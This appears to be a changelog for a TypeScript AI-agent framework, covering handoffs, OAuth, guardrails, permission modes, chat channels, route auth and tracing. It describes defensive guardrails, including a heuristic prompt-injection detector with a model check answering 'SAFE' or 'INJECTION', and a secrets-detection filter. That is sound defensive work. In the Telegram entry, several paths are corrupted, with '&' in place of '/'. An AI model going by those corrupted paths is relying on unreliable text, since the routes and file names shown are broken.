* Handoffs: `createAgent({ handoffs: [billing, handoff(refunds, options)] })` lets an agent hand the whole conversation to another `createAgent()` agent (with a `name` and a `description`), offered to the model as one `transfer_to_<name>` tool each. The handoff call is not run as a tool: once the other calls of its step are done, the run goes on in the same `send()` / `stream()` as the target, with its instructions (replacing the system prompt), model, tools, skills, sub-agents, reasoning and own handoffs, the lead's guardrails and permission rules before its own, on the transcript the handoff's `inputFilter` returns (`handoffFilters.removeToolCalls`, `handoffFilters.lastUserMessage`, or your own). Hooks, `limits` and spend, `maxSteps` (counted across agents), the signal, the approval, checkpoint and token stores, listeners, `output`, the permission mode and the principal stay the run's. `handoff()` options: `toolName`, `description`, `input` (validated; bad arguments get a tool error and no handoff), `inputFilter`, `onHandoff`, `isEnabled` (a `PerRun<boolean>`). Only the first handoff call of a turn is honored; `maxHandoffs` (default 5) caps one run. The transcript marks each handoff with `metadata.handoff = { from, to }`; a session's next turn, `agent.resume()`, `session.resume()` and `agent.approvals.resolve()` continue as the agent it last handed off to (`agent.send()` without a session starts at the lead), and the resume drift check compares with that agent. Approvals remembered with `once()` are dropped at a handoff. A `transfer_to_*` call passes the run's gate like a tool call: `permissions` rules apply to it (`deny` gives the model a `kind: 'denied'` tool error and no handoff happens; `ask` pauses the run for approval and the decided call then hands off or reports the rejection), pre/post tool hooks may deny it or rewrite its arguments, and its decision is audited to `onPermissionDecision` / `permission.decision`. Each handoff appends a routing system note (`metadata.handoff`) carrying the validated call arguments to the transcript the target reads; `handoffFilters.removeToolCalls` keeps it and a custom `inputFilter` may drop or replace it. `createAgent()` warns once when a reachable handoff target was created with run-level options (`approve`, `approvalStore`, `permissionMode`, `approvalTtlMs`, `store`) - a run keeps the entry agent's. New `handoff` event (`from`, `to`, `toolCallId`) and `ExecutionResult.agentName`; `ExecuteOptions.handoffs` / `maxHandoffs` for the executor API. Remote agents cannot be handoff targets. See docs/handoffs.md.
* OAuth for HTTP MCP servers, per the MCP authorization spec: an `mcpServers` HTTP entry takes `oauth: { redirectUri, clientId?, clientSecret?, scopes?, clientName? }` (new type `McpOAuthOptions`; refused on stdio entries by the spec schema). The MCP SDK's client does discovery (RFC 9728 protected resource metadata, RFC 8414 authorization server metadata), dynamic client registration (RFC 7591) when no `clientId` is given, PKCE and resource indicators (RFC 8707), and refreshes an expired token; tokens are kept in the agent's encrypted token store as provider `mcp-<server>`, owned by the app. An operator signs the agent in once with the new `agent.oauth.mcpSignInUrl(server)`; N9b's `agent.oauth.complete()` and `GET /oauth/callback` finish it. Without a usable token the server's status is the new `'needs-auth'` and connecting fails with the new error code `LOUSHO_MCP_AUTH_REQUIRED` (a tool call refused mid-run is a tool error with that code; nothing pauses). `connectMcp(servers, { tokens })` takes the token store. Security: `oauth` needs an https `url` (http only for localhost, 127.0.0.1 and \[::1]); an `Authorization` header together with `oauth` is refused; with `oauth`, `headers` go only to the MCP server's origin, never to the authorization server; a stored grant is only used for the `url` it was obtained for (a changed `url` needs a new sign-in); no token, code, verifier or client secret appears in errors, logs, `status()`, events or results. Out of scope for now: per-user MCP grants, a `lousho mcp login` command, OAuth over stdio. See docs/oauth.md, "MCP servers with OAuth".
* Parallel input guardrails: `IoGuardrail.runInParallel` (default `false`) makes an `input` guardrail run while the first model call is already in flight, so a slow, model-backed check no longer delays the answer by its whole latency; `promptInjectionGuardrail({ runInParallel })` and `moderationGuardrail({ runInParallel })` take it as an option. The blocking input guardrails run first as before (rewrites included), then the parallel ones start together on that input. Until all have passed, the call's `text.delta`, `reasoning.*` and provider-run tool events are held in order (on the iterator and `onAgentEvent` alike), its tool calls do not run, and `onLLMResponse`, post-generate hooks, output guardrails, `text.done` and the checkpoint after the response wait. A trip aborts the call (its signal only, not the run's), drops the held events and ends the run with `finishReason: 'guardrail'`, `result.guardrail` and `guardrail.tripped` (or `GuardrailError` under `onTripped: 'throw'`), with nothing of the call in the transcript or a checkpoint; the call's usage counts in `result.usage` only when the provider reported it. A parallel check cannot rewrite (`action: 'rewrite'` blocks, the reason prefixed `runInParallel guardrails cannot rewrite: `), and a check that throws fails the run. Ignored on `output` and `tools` guardrails. No change for guardrails without the flag. See docs/guardrails.md#input-and-output-guardrails.
* OAuth sign-in for tools: `defineOAuthProvider({ name, displayName?, credentialOwner?, authorizationUrl, tokenUrl, clientId, clientSecret?, clientAuth?, scopes?, redirectUri, authorizationParams?, fetch? })`, and in a tool `ctx.getToken(provider)` and `ctx.requireAuth(provider)`. Without a usable token the run pauses durably like an approval (`finishReason: 'awaiting-approval'`, `kind: 'sign-in'`, `signIn: { provider, displayName?, url }` on the pending approval and the `approval.requested` event); the authorization URL uses PKCE S256 and a single-use 256-bit `state` that expires after 10 minutes, and the verifier is kept only in the encrypted pending record. The new route `GET /oauth/callback` (`lousho dev`, the node server, the Worker) and `GET <basePath>/oauth/callback` (`createRouteHandler`) is not behind route auth (a browser redirect carries no API token): it calls the new `agent.oauth.complete({ state, code?, error? })`, which stores the token for the paused run's principal and answers a small HTML page (400 for an unknown, used or expired state). Approving the pause (`agent.approvals.resolve({ id, approved: true })`, or the approvals route) runs the tool call again; before the callback it throws `LOUSHO_SIGNIN_PENDING` (HTTP 409) and the run stays paused. Tokens within 60 s of expiry are refreshed; `requireAuth()` deletes a refused token and pauses. A user credential needs a principal (`LOUSHO_OAUTH_PRINCIPAL_REQUIRED`); an app credential (`credentialOwner: 'app'`) is never asked of a chat user (`LOUSHO_OAUTH_APP_SIGNIN_REQUIRED`) and is connected by the operator with `agent.oauth.signInUrl(provider)`. The `approve` callback is never asked about a sign-in. Slack sends the link with `chat.postEphemeral` and Discord as an ephemeral follow-up, both without buttons; GitHub never posts it in a public thread; behind `createDeployedServer()` and `lousho dev` the callback continues the paused channel turn. The UI state (`pendingApproval.signIn`), the `data-lousho-approval` part, `lousho dev`'s page, `lousho chat` and `lousho acp` show the link. A tool result that contains a token handed out during that call is redacted to `[REDACTED]` with a warning. New error codes `LOUSHO_OAUTH_PRINCIPAL_REQUIRED`, `LOUSHO_OAUTH_APP_SIGNIN_REQUIRED`, `LOUSHO_OAUTH_STORE_MISSING`, `LOUSHO_OAUTH_STATE_INVALID`, `LOUSHO_SIGNIN_PENDING`, `LOUSHO_OAUTH_TOKEN_EXCHANGE_FAILED`. See [OAuth](/oauth#tools-that-need-sign-in).
* Hosted tools on Anthropic and OpenRouter: `webSearch()` and `codeInterpreter()` now also run on the Anthropic provider (`ai` 6 with `@ai-sdk/anthropic` 3, `ai` 7 with `@ai-sdk/anthropic` 4): `webSearch()` is the newest `tools.webSearch_*()` the installed package exports (options `maxUses`, `allowedDomains`, `blockedDomains`, `userLocation`), `codeInterpreter()` the newest `tools.codeExecution_*()`; events and `usage.hostedToolCalls` keep the neutral name `code_interpreter`. `fileSearch()` on Anthropic, and `codeInterpreter()` / `fileSearch()` on OpenRouter, are `LOUSHO_HOSTED_TOOL_UNSUPPORTED`. `webSearch()` works with every `openrouter/...` model on any `ai` major: the provider adds OpenRouter's `openrouter:web_search` server tool to the request body (after the function tools, composing with the `reasoning` field; `maxUses`, `allowedDomains`, `blockedDomains` and `searchContextSize` map to its parameters) and reports one hosted call per step that searched, read from the response: the cited urls from `url_citation` annotations as `sources`, and `result: { requests }` when OpenRouter reports `usage.server_tool_use.web_search_requests`. OpenRouter bills each search on top of tokens (not in `costUsd`). `supportsHostedTool()` on both providers reflects this. The per-provider table in docs/hosted-tools.md is complete, and a replayable cassette from a live OpenRouter search is in the test suite (`npm run test:live` re-records it with `OPENROUTER_API_KEY`).
* Hosted provider tools: `webSearch()`, `codeInterpreter()`, `fileSearch()` and `hostedTool(name, aiSdkTool)` go in `createAgent({ tools })` next to local tools (array or record form; in the record form the key must be the tool's name), and the provider runs them inside the model request. OpenAI maps them to `openai.tools.webSearch()` / `.codeInterpreter()` / `.fileSearch()` on `ai` 6 with `@ai-sdk/openai` 3 and `ai` 7 with `@ai-sdk/openai` 4 (options it does not take, such as `maxUses`, are dropped with one warning); `hostedTool()` passes any AI SDK provider tool through on `ai` 6 or 7, including on `fromAiSdk()` models. Provider-executed calls are never handed to the executor as local tool calls (on `ai` 6/7 they used to come back as calls of an unknown tool): they are reported as `tool.start` / `tool.done` / `tool.error` with the new optional field `executedBy: 'provider'` (as they stream in, or after a non-streamed call in call order; results capped at 20,000 characters of JSON), kept on the step's assistant message as `metadata.hostedToolCalls` (with url sources; not sent back to the model), counted in `usage.hostedToolCalls` and `run.done` usage per tool name (fees not in `costUsd`), and named on the `chat` span as `lousho.hosted_tool_calls`. A step whose only calls the provider ran ends the run even when the provider reports `tool-calls`. No permission rule, guardrail, approval or hook runs for them; instead, in permission mode `'plan'` only the read-only `webSearch()` and `fileSearch()` are sent to the provider (`codeInterpreter()` and `hostedTool()` are left out of the request, read before every model call), and every other mode sends them all. New: `ExecuteOptions.hostedTools`, `GenerateOptions.hostedTools`, `GenerateResult.hostedToolCalls`, `HostedToolCall`, stream chunks `hosted-tool-call` / `hosted-tool-result`, optional `LLMProvider.supportsHostedTool(type)`, `mockModel` turns with `hostedToolCalls`, cassettes that keep hosted calls, error code `LOUSHO_HOSTED_TOOL_UNSUPPORTED` (ai 4, Ollama, a provider without `supportsHostedTool()`, or an `@ai-sdk/openai` without the tool). Sub-agents do not inherit the lead's hosted tools; the agent fingerprint includes them. Anthropic and OpenRouter mappings follow in N1b (below). See docs/hosted-tools.md.
* `session.history()` and `session.fork({ fromStep, id?, patch? })` on `agent.session()` sessions. `history()` lists the steps of the committed transcript (one per model response: `step` numbered from 1 across the session, `turn`, `messageIndex`, `text`, and `toolCalls` with `args` and `result`). `fork()` saves the transcript up to and including a step (`0` keeps nothing), optionally with one tool result replaced (`patch.toolResult`), under a new id in the same store (default `<id>-fork-<n>`) and returns a session of the same agent and options (with the permission mode the session has at that moment); the original is not changed. The spend recorded for `limits` up to that point carries over. A turn waiting on an approval or a question, or an interrupted checkpointed turn, stays with the source session, so it is resolved once; workspace files are not rewound. Works on every shipped store (memory, `fileStore()`, `SqliteStore`, `KVStore`), with one contract suite run against each. New types `SessionHistoryStep`, `SessionForkOptions` and `SessionSpawner`; new error codes `LOUSHO_SESSION_STEP_NOT_FOUND`, `LOUSHO_SESSION_EXISTS` and `LOUSHO_SESSION_FORK_UNSUPPORTED`; `AgentSession`'s constructor takes an optional fourth argument, the function that creates its forks. See [Forking a session](/sessions#forking-a-session).
* Permission modes: `createAgent({ permissionMode })`, `send()` / `stream()` `{ permissionMode }`, `agent.session({ permissionMode })` and `session.setPermissionMode()` put an agent in `'plan'` (only read-only tools run; everything else is refused with `kind: 'denied'`, also when an `allow` rule matched, and a run that starts in plan mode gets one system-prompt paragraph saying so), `'acceptEdits'` (file edits that would ask run without asking) or `'dontAsk'` (a call that would ask is refused; nothing pauses). The modes are presets applied after hooks, permission rules, tool guardrails and `needsApproval`, so no mode turns a deny into a run. A function mode, and a session's mode, are read at every tool call, so a switch applies from the next call, also mid-turn and in a paused turn continued by `agent.approvals.resolve()`. Sub-agents run under the lead's mode unless it is `'default'`; a remote sub-agent is refused in plan mode. Audit: under a mode other than `'default'` every call is audited, `PermissionDecisionEntry.mode` says when the mode changed the outcome, and the new `onPermissionModeChange` records each switch. New: `PermissionMode` and `PermissionModeChange` types, `defineTool({ editsFiles })` (`metadata.editsFiles`, set on `write_file` and `edit_file`), `readOnlyHint: true` on `load_skill`, `recall_<name>`, `agent_status` and `agent_await`. The mode is not saved in checkpoints. Example: `examples/plan-mode`. See [Permission modes](/permission-modes).
* Semantic recall: a memory slot can recall by meaning. New `EmbeddingProvider` (`{ id, embed(texts) }`) and `aiSdkEmbedder(model, { id?, maxBatch? })`, which wraps any AI SDK embedding model through `embedMany` from the installed `ai` (4, 6 or 7; `ai` is loaded on first use, no new dependency), and two providers that rank by cosine similarity: `inMemoryVectorMemory({ embedder, maxItems?, minScore? })` from the root and `sqliteVectorMemory(store, options)` from `@lousho/build-ai-agent/sqlite` (a new `memory_vectors` table, added to an existing database file on open; `memory_items` and `sqliteMemory()` are unchanged). With a query, `list()` returns the scope key's items by score (floor `minScore`, default 0.2; score in `metadata.score`); without one it lists the newest first. Items embedded by another embedder id are skipped when ranking until `provider.reindex(scopeKey?)` re-embeds them. A `MemoryProvider` may set `ranking: 'relevance'`, which makes the `recall_<name>` tool say "by meaning, most relevant first". `hashEmbedder({ dimensions? })` from `@lousho/build-ai-agent/testing` is a deterministic offline embedder for tests. `describeMemoryProviderContract` takes `{ query: 'filter' | 'rank' }`. docs/memory.md has a new `## Semantic recall` section at the end.
* `teamsChannel({ appId, appPassword, tenantId?, name?, fetch?, approvers?, onError? })`: an agent behind an Azure Bot in Microsoft Teams, mounted like the other channels (`POST <basePath>/teams`). The inbound Bot Framework token is verified with the auth module (`oidc()`: RS256, the key set of the fixed Bot Framework OpenID metadata, issuer `https://api.botframework.com`, audience `appId`, 5-minute tolerance) before the body is parsed, and its `serviceurl` claim must equal the activity's `serviceUrl`; replies go only to that service URL (https). Personal chats always reach the agent, group chats and channels only on an `@mention` (stripped from the text); one session per conversation; Markdown replies split at 25,000 characters; tool approvals are Adaptive Cards with Approve and Deny buttons (`approvers` as on the other channels; the card updates to "Approved by..." and names its conversation, so a copied or replayed reference decides nothing); `ask_question` is answered by the next message, also after a restart with durable stores. No `node:*` import. Telegram and GitHub now set the sender as the run's `principal` too (`authenticator: 'telegram'` with the user id, `'github'` with the login), as Slack and Discord do. See docs/channels.md#microsoft-teams.
* Cloudflare Worker target builds agent directories (config, instructions, TypeScript tools, skills): `npx lousho build./my-agent --target=cloudflare-worker`. The build reads the directory on Node and generates `agent.module.ts` (static imports of `tools/*` and of an `agent.ts` config; `instructions.md`, a JSON/YAML config and the skills embedded as JSON), and the Worker builds the agent with the rules of `resolveAgentDir()` (the config check and the tool-export rules now live in Node-free modules both use). The config's `model` must name a Worker provider, or `agent.ts` sets a `provider` instance. `subagents/`, `schedules/`, `channels/`, `memory/`, `projectInstructions` and an unsupported provider are rejected with `LOUSHO_DEPLOY_FAILED`, naming what to remove. In a Worker build, an agent file's `@lousho/build-ai-agent` import resolves to a Worker-safe subset (`defineTool`, `defineSkill`, the Worker providers, `fromAiSdk`, errors,...); another name fails the build with the list. The leak check now names the file that imported a Node builtin (`"node:fs" imported by my-agent/tools/files.ts`) instead of failing with esbuild's "Could not resolve". Tools run in the Worker's isolate with its rights: see docs/cloudflare-workers.md#build-and-deploy.
* Workspace rewind: `createFsTools(fs, { checkpoints })` with a new `WorkspaceCheckpoints` backs up every file `write_file` and `edit_file` change (content and, where the provider has the new optional `FsProvider.getMode` / `chmod`, permission bits), grouped by session and turn. `checkpoints.list({ sessionId })` shows the changed paths per turn; `checkpoints.rewind(toTurn, { sessionId, dryRun, force })` restores every file changed in that turn or later, deletes files the agent created, and skips files changed since by something else (`'changed-since'`), files over `maxFileBytes` (`'too-large'`) and paths that are no longer files. Every path is checked before anything is written, and restores go through the provider, so `NodeWorkspace` keeps them inside its root. Retention: the newest `maxTurns` turns per session (default 20), the old content only for a turn's first write of a path, rewound turns dropped, `clear({ sessionId })`. Stores: `MemoryWorkspaceCheckpointStore` (default) and `FileWorkspaceCheckpointStore(dir)` (one JSON file per session, atomic writes). `NodeWorkspace` gains `getMode()` and `chmod()`. Without `checkpoints` the tools behave as before. See [Workspace tools](/workspace-tools#the-tools).
* Route auth and principals: a new subpath, `@lousho/build-ai-agent/auth`, with `jwt()`, `oidc()`, `basic()`, `apiToken()`, `anonymous()` and `routeAuth()`. A route takes an ordered list of entries: the first one that returns a `Principal` accepts the request, `null` skips to the next, `AuthError(401 | 403)` stops; when every entry skips the answer is a generic `401` with one `WWW-Authenticate` header per challenge (`Bearer`, `Basic realm="..."`), and the body never says which check failed. JWTs are verified with Web Crypto only (no new dependency, no `node:` import, so the helpers run on Workers and edge routes): `alg: none`, algorithms outside the configured list, a `crit` header and algorithm confusion (an HS token checked against a public key) are refused; `exp` is required, `nbf` / `iat` honored, `iss` / `aud` checked, with a clock tolerance of 60 s (at most 300); JWKS key sets are cached for 10 minutes and refetched at most once per 30 s, and a key-set URL is never taken from a token. `oidc()` uses the configured issuer's discovery document and requires it to name the same issuer. `basic()` and `apiToken()` compare in constant time. `createRouteHandler({ auth })` and `createDeployedServer(agent, { auth })` take the list (a token string and a boolean function work as before); the node server appends `apiToken(LOUSHO_API_TOKEN)` when that variable is set; an agent directory's `auth.ts` is bundled by `lousho build --target=node-server` / `docker` and guards the built server (`resolveAgentDir()` returns it as `auth`, the manifest has `auth: true`). The accepted principal reaches the run: `send()` / `stream()` / session turns take `principal`, and `RunConfigContext` (the `model` / `instructions` / `tools` functions) and `MemoryScopeContext` (memory scopes) carry it; Slack and Discord channels set the sender as the principal. `Principal` is also exported from the root. Bad helper options throw the new error code `LOUSHO_AUTH_CONFIG_INVALID` when the helper is created. `createRouteHandler()` without `auth` logs one warning when `NODE_ENV` is `production`. Route auth does not check session ownership, the principal does not reach tools or approval policies yet, and the Cloudflare Worker target keeps the `LOUSHO_API_TOKEN` token only. See [Route auth and principals](/auth).
* OAuth token storage: `AgentStore` gains a fourth optional part, `tokens` (`OAuthTokenStore`: `get` / `set` / `delete` / `list` per provider and credential owner, single-use pending sign-ins with `putPending` / `takePending`, and `getClient` / `setClient` for dynamically registered clients). Owners are `{ owner: 'app' }` or `{ owner: 'user', principalId, issuer? }`; `tokenStoreKey(provider, owner)` is the stable, percent-encoded record key (`<provider>|app`, `<provider>|user|<issuer>|<principalId>`). `memoryStore()` keeps tokens in process memory; `fileStore(dir)`, `SqliteStore` and `KVStore` encrypt every record with AES-256-GCM (Web Crypto, a fresh 12-byte IV per write, the record key as additional authenticated data) under a 32-byte key the application supplies as `tokenKey` or `LOUSHO_TOKEN_KEY`; there is no default key. Several keys (newest first, or comma-separated in the variable) rotate: writes use the first, reads try each. New error codes `LOUSHO_TOKEN_KEY_MISSING` (first write, or a read of an existing record, without a key) and `LOUSHO_TOKEN_DECRYPT_FAILED` (wrong key or a changed record; names the provider, never the token). `list()` returns metadata only. `generateTokenKey()` makes a key. SQLite: schema migration 4 adds the `oauth_tokens` and `oauth_pending` tables, and `prune()` also deletes expired pending sign-ins (its result gains `oauthPending`). KV: keys under `<prefix>oauth/`, pending sign-ins written with an `expirationTtl`; `KVBinding` gains an optional `list()` (used only by `tokens.list()`), and `KVListOptions` / `KVListResult` are exported from `/kv`. The generated Cloudflare Worker passes its `LOUSHO_TOKEN_KEY` secret to `KVStore`. Nothing signs in yet; the sign-in flow follows. New page [OAuth](/oauth); new `## OAuth` section at the end of docs/errors.md.
* `githubChannel({ webhookSecret, botName, token?, app?, botLogin?, name?, apiUrl?, fetch?, triggers?, approvers?, onError? })`: an agent that answers GitHub issue, pull-request and review comments. `@<botName>` in a comment starts a turn and the reply is a new comment in the same thread (a review thread gets a reply under it; text over 60,000 characters is split); one session per issue or pull request and one per review thread, and later comments in a thread with a session are follow-ups. `X-Hub-Signature-256` is verified over the raw body in constant time before the body is parsed (401 otherwise); the webhook is acknowledged at once. Comments by bots, by the channel's own account and every comment the channel posts (a hidden marker) are ignored, and so are edits, deletions and other events. Replies are posted with `token` (a personal access token, or a function) or as a GitHub App (`app: { appId, privateKey }`: a PKCS#1 or PKCS#8 key signs an RS256 JWT with Web Crypto, exchanged for an installation token that is cached per installation until 5 minutes before it expires; `src/channels/githubAppAuth.ts`, not exported). Approvals are comments: the prompt asks for `/approve <id>` or `/deny <id>` (first line only, notes below it), and by default only a commenter whose `author_association` is `OWNER`, `MEMBER` or `COLLABORATOR` may decide, read from the command comment itself; `approvers` (logins, or a function that sees the association in `user.roles`) overrides it, and `triggers` (logins, or a function) restricts who may start a turn or answer a question (default: everyone who can comment, so restrict it on a public repository). A comment is untrusted input to the agent; see the security note in docs/channels.md. An `ask_question` is answered by the next comment in the thread and survives a restart given durable stores. Errors name the call and the HTTP status, never the token. The `LOUSHO_CHANNEL_INVALID` hint, docs/agent-directories.md and docs/errors.md now list `githubChannel()`. New section `## GitHub` at the end of docs/channels.md.
* Agent Forge keeps the traces of its runs: every run is written with `fileTraceExporter()` to `.lousho/agents/<agent id>/traces` (the files `lousho traces` reads), and the Trace tab gets a list of the agent's past runs (time, duration, model calls, tokens, cost, status) with a "Live" entry while a run is active; choosing one opens its spans in the waterfall, with span kind and error status. New server routes `GET /agents/:id/traces?limit=N` and `GET /agents/:id/traces/:traceId`; the server reads only inside the agent's trace folder. The live `span` WebSocket messages now carry `kind` and `status` (optional fields of `SpanEvent`). See [Agent Forge](/agent-forge).
* A background sub-agent that needs approval pauses the lead when the lead awaits it (`agent_await`), and resumes with `approvals.resolve()` / `resume()`. The lead's result is `awaiting-approval` with the child's call (`subagentPath: ['<agent>']`) in `agent.approvals.list()`; the decision runs or rejects the child's call, the child finishes, and the continued lead gets its answer as the `agent_await` result. A child that pauses again, or several awaited tasks that are all paused, pause the lead one approval at a time. The child's usage is added to the lead's, and its conversation is saved under its `taskId`. The paused tasks are kept on the lead's approval record (`SubagentSuspension.background`, plain JSON), never in the tool arguments the model sees. Without `agent_await` nothing changes: the task reports `awaiting-approval` and is not resumable. The `task` and `agent_status` tool descriptions tell the model that a task awaiting approval continues only when it calls `agent_await` on it. Docs: docs/sub-agents.md ("When the lead run ends" and "Continuing a task").
* Guardrail starter set: `piiGuardrail()` (email, phone, credit card with a Luhn check, IBAN with its mod-97 check, US SSN, IPv4; blocks, or rewrites each match to `[<type>]`), `secretsGuardrail()` (private keys; Anthropic, OpenRouter, OpenAI, AWS, GitHub, Slack, Google and Stripe live keys; JWTs; `Authorization: Bearer` tokens; `extraPatterns`; rewrites to `[secret]` by default), `promptInjectionGuardrail()` (phrase, role-marker and Unicode-tag heuristics, plus an optional model check that must answer `SAFE` or `INJECTION: <reason>`) and `moderationGuardrail({ model })` (one model call that answers `NONE` or the categories that apply: `hate`, `harassment`, `self-harm`, `sexual`, `sexual-minors`, `violence`, `illicit`). The PII, secret and injection checks are heuristic pattern checks: they catch common cases and miss others, and are not a security boundary. Model-backed checks fail closed on a reply they cannot read. A guardrail result can now carry `info?: GuardrailTripInfo` (`pii`, `secret`, `prompt-injection`, `moderation` or `custom`), copied to `result.guardrail`, `guardrail.tripped` and `guardrail.rewrote`; it holds types, labels and offsets, never the matched text. Agent spec files can name them in `policy.guardrails` as `pii`, `secrets`, `prompt-injection` and `moderation`. New exported types `GuardrailTripInfo`, `PiiType`, `ModerationCategory`. Docs: [Guardrails](/guardrails#input-and-output-guardrails), [Configuration](/configuration#policy-policy), [Stream events](/stream-events).
* `telegramChannel({ botToken, secretToken, botUsername?, name?, fetch?, approvers?, onError? })`: an agent behind a Telegram bot, mounted like the Slack and Discord channels (`POST &channels&telegram`). The webhook secret token header (`X-Telegram-Bot-Api-Secret-Token`) is compared in constant time (401 otherwise); updates are acknowledged with `200` and the turn runs after. A private chat is one session per chat; in a group only `&ask`, `&ask@<botUsername>`, an `@<botUsername>` mention or a reply to the bot wakes it, and a forum topic is its own session. Replies are plain text, split at 4096 characters. Tool approvals are an inline keyboard (Approve & Deny) that only `approvers` (default: the user who started the turn) can tap; the tap names its chat, so it works after a restart. An `ask_question` is sent with `force_reply`; a pending one survives a restart given durable stores, like Slack and Discord. The bot token is never put in an error message or log line. `src&channels&channelSupport.ts` gains the internal `secretsEqual()` (constant-time compare with Web Crypto). The `LOUSHO_CHANNEL_INVALID` hint, docs\&agent-directories.md and docs\&errors.md now list `discordChannel()` and `telegramChannel()`. New section `## Telegram` at the end of docs\&channels.md (attachments are not read yet).\&r
* `todo.updated` stream event and `useTodos()` (React, Vue) / `loushoTodos()` (Svelte): every successful `todo_write` emits `todo.updated { todos, counts, toolCallId }` right after its `tool.done` (sub-agents too, with `subagent`). The shared UI reducer keeps the list in a new `AgentUIState.todos` (carried across turns, cleared by `reset()`), `useLoushoAgent()` / `loushoAgent()` expose it, `useTodos(agent)` / `loushoTodos(agent)` add counts, the current item and progress (`todoView()` computes the same view framework-free), and `toUIMessageStream()` sends a `data-lousho-todos` part for the AI SDK UI. See [Todos](/react#todos).
* Cloudflare Worker target: the `openrouter` provider and the `http` tool (with a required `LOUSHO_HTTP_ALLOW` host allowlist). `openrouter` reads its key from the `OPENROUTER_API_KEY` binding and is `@ai-sdk/openai` pointed at OpenRouter, so its bundle passes the `node:` leak check like `openai`. The Worker's `http` is `http_request` with the Node tool's input, over the platform `fetch()`: since a Worker cannot see or pin where a host name resolves, it reaches only the host names (`api.github.com`) and `*.` wildcards (subdomains only) listed in the comma-separated `LOUSHO_HTTP_ALLOW` binding, refuses IP-address hosts even when listed and any scheme but `http:`/`https:`, checks every redirect hop the same way, and refuses every request when the binding is unset or empty. An invalid entry fails every request with an error naming it. `wrangler.toml` gets a commented `[vars]` `LOUSHO_HTTP_ALLOW` line when the spec lists `http`. `ollama` and `web-fetch` stay unsupported on Workers. Internally, the request, redirect and response logic of `http_request` moved to the Node-free `src/tools/built-in/httpCore.ts`, shared by both tools; the Node tool's behaviour is unchanged. See docs/cloudflare-workers.md#providers-and-tools.
* `fromAiSdk(model)`: any AI SDK `LanguageModel` (Google, Bedrock, Azure, Mistral, Gateway,...) as `createAgent({ provider })`. Options `name` (default: the model's `provider` field), `fileMediaTypes`, `replaysReasoning` and `maxRetries` (default 0); exported with `FromAiSdkOptions` from the package root. Throws `LOUSHO_CONFIG_INVALID` for a model id string, for a model built for another `ai` major than the installed one, and for a call with another model id than the wrapped one. See docs/providers.md#any-ai-sdk-model-fromaisdk.
* Two ready-made durable stores. `@lousho/build-ai-agent/kv` is a new subpath exporting `KVStore`, `KVCheckpointStore`, `CHECKPOINT_KV_BINDING` and the types `KVStoreOptions`, `KVBinding`, `KVPutOptions`, so a hand-written Cloudflare Worker can use `createAgent({ provider, store: new KVStore(env.AGENT_KV) })`; nothing in its import graph touches `node:*`, so it bundles without shims (`assertSessionId` moved to the Node-free `src/session/sessionId.ts` and is still exported where it was). `fileStore(dir, { historyLimit? })` (root export) is an `AgentStore` of plain JSON files: `sessions/<id>.json`, `checkpoints/<id>.json`, `checkpoint-history/<id>.json` and `approvals/<id>.json`, each written to a temp file and renamed into place, with no lock files and no `StorageService`; resolving an approval claims it with an exclusive create, so of two processes resolving one approval only one gets it. It replaces combining `FileSessionStore`, `LocalStorageCheckpointStore` and `StorageServiceApprovalStore` by hand. See docs/sessions.md#choosing-a-store and docs/deployment.md.
* `web_fetch` built-in tool: `webFetchTool` / `createWebFetchTool(options)`, and `web-fetch` in spec files. It `GET`s one public web page and returns `{ url, finalUrl, status, contentType, content, truncated }`: HTML converted to text by a small built-in converter (scripts and styles dropped, link URLs kept, entities decoded), JSON and `text/*` as sent, a note for other types; a 4xx/5xx is returned with its body. Loopback, private and link-local destinations are refused on every hop with the connection pinned to the checked address; redirects (10), bytes read (2 MiB), characters returned (50 000) and time (30 s) are capped; `allowedHosts` / `blockedHosts` are checked before DNS and `allowPrivate` exempts named hosts. Node only. See docs/tools.md#built-in-tools.
* `src/security/privateAddress.ts` (internal): `isPrivateAddress()` and `pinnedLookup()`, shared by the credential broker, `http_request` and `web_fetch`. The credential broker uses it instead of its own list, so it also refuses `192.0.0.0/24`, `198.18.0.0/15`, NAT64 and 6to4 addresses.
* Slack and Discord: a pending `ask_question` survives a restart. Given durable stores for sessions, checkpoints and approvals, the next message in the Slack thread (or the next `/ask` in the Discord channel) after a restart is still the answer: the turn continues, the reply is posted, and the question, the answer and the reply are appended to the session transcript (before, the answer became a new turn and the question was orphaned). A message in a conversation that waits on a tool approval still does not decide it. New `ChannelContext.pendingQuestion(sessionKey)` for custom channels: the id of the `ask_question` that key's session waits on, also one asked before a restart (it binds the approval to the session, so the continuation is recorded); handed out once until that answer has run. A channel's answer and click continuations now run one at a time with the session's turns. Supporting additions: `Checkpoint.approvalKind`, `PendingTurn.approvalKind` (`session.pending()`) and `SessionAwaitingApprovalError.approvalKind` are `'question'` for a turn paused on an `ask_question`. Slack thread replies that answer a pending question no longer need a saved transcript first (a first turn paused on a question with checkpoints has none yet). See docs/channels.md.
* Local traces and `lousho traces`: `createAgent({ exporter, captureContent })` traces every run of the agent (`send()`, `stream()`, session turns, `agent.resume()` and runs continued by `agent.approvals.resolve()`; sub-agents join the lead's trace). The new subpath `@lousho/build-ai-agent/traces` exports `fileTraceExporter({ dir })`, which writes each run as JSON Lines to `<dir>/<YYYY-MM-DD>/<traceId>.jsonl` (default `.lousho/traces`; one finished span per line; a write error warns once and never fails the run), and `listTraces()` / `readTrace()` to read them. `npx lousho traces [--dir D] [--limit N] [--json]` lists recent runs with duration, model and tool calls, tokens and cost; `npx lousho traces <id|prefix> [--json] [--content]` prints one run as a span tree with duration bars. Projects made by `lousho init` now ignore `.lousho/`. See docs/observability.md#local-traces.
* `openApiTools(document, options)`: an OpenAPI 3.0 / 3.1 document (object, JSON or YAML string, or https URL) becomes one typed tool per operation, exported from the root and `./tools`. Names come from `operationId` (or `<method>_<path>`); the input has path, query, header and cookie parameters plus an `application/json` `body`, with `$ref`s resolved; every HTTP response is returned as `{ status, statusText, body }`. GET, HEAD and OPTIONS run and other methods ask for approval by default (`approval`), with read-only / destructive annotations. Options: `baseUrl`, `include`, `exclude`, `prefix`, `headers`, `bearerToken`, `providedArguments` (removed from the model's schema), `timeoutMs`, `maxResponseChars`, `fetch`. The base URL must be https (http only for loopback), credentials never reach events or the transcript, and redirects are followed only on the base origin. Swagger 2.0, multipart bodies and remote `$ref`s are refused. `jsonSchemaToZod(schema, root?)` takes an optional root for `$ref` resolution. New page docs/openapi-tools.md.
